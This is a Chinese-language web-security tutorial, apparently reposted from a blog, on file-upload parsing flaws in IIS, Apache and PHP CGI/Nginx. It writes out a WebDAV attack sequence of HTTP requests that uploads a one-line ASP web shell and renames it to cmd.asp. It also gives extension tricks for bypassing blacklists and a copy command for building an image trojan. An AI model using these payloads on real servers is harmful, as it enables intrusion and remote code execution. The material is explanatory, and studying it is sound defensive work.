一、IIS解析漏洞
1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
2.当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
微软并不认为这是一个漏洞,也一直没有推出IIS 6.0的补丁,所以这两个“漏洞”至今还存在。
3.WebDav漏洞(对IIS写权限的利用)
第一步,通过OPTIONS探测服务器所支持的HTTP方法
[plain] view plain copy
-
请求:
-
OPTIONS / HTTP/1.1
-
Host:www.example.com
-
-
-
响应:
-
。。。
-
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
-
。。。
第二步,通过PUT方法向服务器上传脚本文件
[plain] view plain copy
-
请求:
-
PUT /a.txt HTTP/1.1
-
Host:www.example.com
-
Content-Length:30
-
-
<%eval request("chopper")%>
第三步,通过Move或Copy方法改名
[plain] view plain copy
-
请求:
-
COPY /a.txt HTTP/1.1
-
Host:www.example.com
-
Destination:http://www.example.com/cmd.asp
第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件
[plain] view plain copy
-
请求:
-
DELETE /a.txt HTTP/1.1
-
Host:www.example.com
二、Apache解析漏洞 在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。
这种方法可以绕过基于黑名单的检查。
Apache认识的扩展名保存在安装目录下"/conf/mime.types"文件中。下图为本机的情况,文件在路径C:wampbinapacheApache2.2.21confmime.types
三、PHP CGI解析漏洞
在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:wampbinphpphp5.3.10php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
附:用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)
转自:http://blog.csdn.net/hitwangpeng/article/details/46913957
本文始发于微信公众号(LemonSec):[web安全] 上传漏洞之解析漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论